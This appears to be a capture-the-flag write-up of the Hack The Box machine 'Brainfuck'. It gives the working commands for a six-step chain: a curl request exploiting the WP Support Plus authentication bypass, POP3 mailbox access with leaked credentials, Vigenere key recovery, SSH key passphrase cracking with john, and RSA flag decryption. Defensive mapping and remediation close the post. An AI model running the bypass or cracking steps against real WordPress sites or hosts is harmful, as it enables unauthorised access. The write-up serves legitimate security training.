Skip to content
Back to all posts

HTB: Brainfuck

· 22 min insane Linux Brainfuck

A six-step attack chain across WordPress, SMTP, POP3, a Flarum forum with Vigenere encryption, SSH key cracking, and RSA cryptanalysis delivers the root flag without ever gaining a root shell.

Overview

Brainfuck is a retired Insane-rated Linux machine created by ch4p. It runs Ubuntu 16.04 with five services: SSH (22), SMTP (25), POP3 (110), IMAP (143), and HTTPS (443) via nginx. No HTTP on port 80; all web traffic is TLS-only.

The attack chain is unusually long for a single host. It spans six exploitation steps across four protocols and concludes with an RSA cryptography challenge rather than traditional privilege escalation. The WP Support Plus plugin contains an authentication bypass. SMTP credentials stored in plaintext in WordPress lead to email access. An email contains Flarum forum credentials. An encrypted forum thread uses the Vigenere cipher, broken via known-plaintext attack. The decrypted thread reveals a URL to an encrypted SSH private key. Cracking the key passphrase yields user access. A SageMath script leaks RSA private key components to a debug file, allowing mathematical recovery of the root flag.

What makes this box interesting is not any single vulnerability, but the chain length and the shift from systems exploitation to cryptanalysis for the final step. Every link in the chain is individually simple; the difficulty lies in connecting them.

Reconnaissance

nmap -sC -sV -T4 10.129.228.97
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 UbuntuMaps to Ubuntu 16.04
25SMTPPostfix smtpd
110POP3Dovecot pop3d
143IMAPDovecot imapd
443HTTPSnginx 1.10.0SSL cert: brainfuck.htb

The SSL certificate’s Subject Alternative Name field discloses three hostnames: brainfuck.htb, www.brainfuck.htb, and sup3rs3cr3t.brainfuck.htb. The “sup3rs3cr3t” naming convention is a strong signal for a hidden service.

Two web applications run on port 443: WordPress 4.7.3 at brainfuck.htb and a Flarum forum titled “Super Secret Forum” at sup3rs3cr3t.brainfuck.htb.

Attack Surface Analysis

WordPress user enumeration via the REST API identifies user ID 1 as “admin”. The front page exposes an email: [email protected]. Directory listing is enabled on /wp-content/plugins/, revealing two plugins:

  • WP Support Plus Responsive Ticket System 7.1.3
  • Easy WP SMTP 1.2.5

WP Support Plus 7.1.3 has a known authentication bypass (EDB-41006). The loginGuestFacebook AJAX handler calls wp_set_auth_cookie() based solely on user ID and email, without verifying any password or OAuth token. It is registered under wp_ajax_nopriv_, meaning it executes for unauthenticated requests.

Easy WP SMTP stores the SMTP password in plaintext in the wp_options table.

The Flarum forum has one public discussion and requires authentication for additional content.

Vulnerability Analysis

EDB-41006: WP Support Plus Authentication Bypass

AttributeValue
EDB41006
CVSS 3.19.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
CWECWE-287 (Improper Authentication)
Root causewp_set_auth_cookie() called without password verification
PrerequisiteKnowledge of a valid WordPress user email

The Exploit-DB entry references an action named loginGuestFac498, which is a truncated artefact. The actual handler name is loginGuestFacebook.

Exploitation

Step 1: WordPress auth bypass

curl -sk -c cookies.txt -X POST \
    https://brainfuck.htb/wp-admin/admin-ajax.php \
    -d 'action=loginGuestFacebook&name=admin&username=1&[email protected]'

Valid WordPress authentication cookies for user ID 1 are returned. The session grants dashboard access but lacks the manage_options capability, creating a constrained admin session.

Step 2: SMTP credential extraction

The Easy WP SMTP plugin settings page stores the SMTP password in an HTML input field. The settings page requires manage_options, which the constrained session lacks. The SMTP password kHGuERB29DNiNE was confirmed working through POP3 login. The credential provides access to orestis’s mailbox.

Step 3: Email retrieval via POP3

curl -s pop3://10.129.228.97/2 -u '[email protected]:kHGuERB29DNiNE'

Email 2 from [email protected] contains Flarum forum credentials:

username: orestis
password: kIEnnfEKJ#9UmdO

Step 4: Vigenere cipher decryption

After logging into the Flarum forum, three discussions are visible. The “Key” discussion contains encrypted messages. Orestis signs every post with a consistent phrase, providing known plaintext:

Known plaintext: Orestis - Hacking for fun and profit
Ciphertext:      Pieagnm - Jkoijeg nbw zwx mle grwsnn

The Vigenere key recovery is straightforward: for each letter position, K[i] = (C[i] - P[i]) mod 26. The recovered key is fuckmybrain (period 11).

Decrypting the URL from the thread:

Ciphertext: mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja
Plaintext:  https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

Step 5: SSH key cracking

The URL serves an RSA private key encrypted with AES-128-CBC. The passphrase cracks with john and rockyou.txt:

ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
# 3poulakia!       (id_rsa)

SSH login as orestis:

ssh -i id_rsa [email protected]
# Enter passphrase: 3poulakia!
# uid=1000(orestis) gid=1000(orestis) groups=...,110(lxd)

User flag obtained.

Step 6: RSA cryptanalysis for root flag

A SageMath script (encrypt.sage) in orestis’s home directory reads /root/root.txt, encrypts it with RSA using 1024-bit primes, and writes the ciphertext to output.txt. It also writes the RSA private key components (p, q, e) to debug.txt, which is readable by orestis.

from Crypto.Util.number import long_to_bytes, inverse

p = <value from debug.txt line 1>
q = <value from debug.txt line 2>
e = <value from debug.txt line 3>
c = <value from output.txt>

n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
# [flag redacted]

Root flag obtained.

No root shell was obtained. The RSA decryption recovers the flag directly. An alternative path exists via orestis’s lxd group membership: creating a privileged container that mounts the host filesystem would provide a true root shell if needed.

Post-Exploitation

The system runs Ubuntu 16.04 with kernel 4.4.0-75-generic, well past end-of-life. Orestis is a member of the lxd group, the adm group (log access), and several desktop groups. The kernel is vulnerable to DirtyCow (CVE-2016-5195) and multiple AF_PACKET local privilege escalation CVEs.

Key files in orestis’s home directory:

  • encrypt.sage: the RSA encryption script (Python 2 era SageMath)
  • debug.txt: RSA key components (p, q, e)
  • output.txt: encrypted root flag ciphertext
  • .ssh/: contains the encrypted private key served via the hidden web path

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190 Exploit Public-Facing AppWP Support Plus loginGuestFacebook AJAX call
Credential AccessT1552.001 Credentials in FilesSMTP password from Easy WP SMTP wp_options
Credential AccessT1114.002 Remote Email CollectionPOP3 retrieval of forum credentials
Credential AccessT1110.002 Password CrackingSSH key passphrase cracked with john
Defence EvasionT1140 Deobfuscate/DecodeVigenere cipher decryption for SSH key URL
Lateral MovementT1021.004 SSHSSH login with cracked private key
Credential AccessT1552.004 Private KeysRSA key components from debug.txt
CollectionT1005 Data from Local SystemRoot flag recovery via RSA decryption

The most effective detection point is the WordPress AJAX endpoint. Any call to loginGuestFacebook from an external IP is suspicious; the handler should not exist in production. POP3 logins from unexpected IPs (especially via HackTheBox VPN ranges) would also trigger in a properly monitored environment.

Remediation

PriorityActionEffortImpact
P0Remove WP Support Plus plugin (or delete loginGuestFacebook handler)LowCritical
P0Delete debug.txt; remove debug output from encrypt.sageLowCritical
P0Rotate all compromised credentials (SMTP, forum, SSH key)LowCritical
P1Replace Easy WP SMTP with a plugin that encrypts stored credentialsLowHigh
P1Transmit credentials via encrypted channels (GPG, password manager)LowHigh
P1Generate new SSH keypair with strong passphrase (20+ chars)LowHigh
P2Replace Vigenere cipher with AES-256-GCM for forum encryptionMediumMedium
P2Disable nginx directory listing for wp-content directoriesLowMedium
P3Upgrade full stack: Ubuntu 22.04+, current WordPress, nginx, SSHHighHigh

The deepest issue is the operating system. Ubuntu 16.04 went end-of-life in April 2021. The kernel is vulnerable to multiple local privilege escalation CVEs. Even if every application-layer finding were remediated, the host remains compromisable through kernel exploits.

Key Takeaways

  1. Attack chain length does not correlate with individual step complexity. Each link in this six-step chain is individually straightforward: a known plugin exploit, plaintext credentials in a config file, plaintext credentials in email, a 19th-century cipher, a dictionary-crackable passphrase, and textbook RSA decryption. The difficulty is recognising the chain and connecting the steps.

  2. The Vigenere cipher provides no meaningful security. It was broken in 1863. When the attacker possesses known plaintext (a consistent signature), key recovery is mechanical. Any system using polyalphabetic substitution for confidentiality should be treated as cleartext.

  3. Debug output is a persistent vulnerability class. The debug.txt file containing RSA private key components is the most common form of this pattern: developers write sensitive intermediate values to disk during testing and forget to remove them. Automated CI checks for files named debug.*, test.*, or containing key material patterns would catch this class systematically.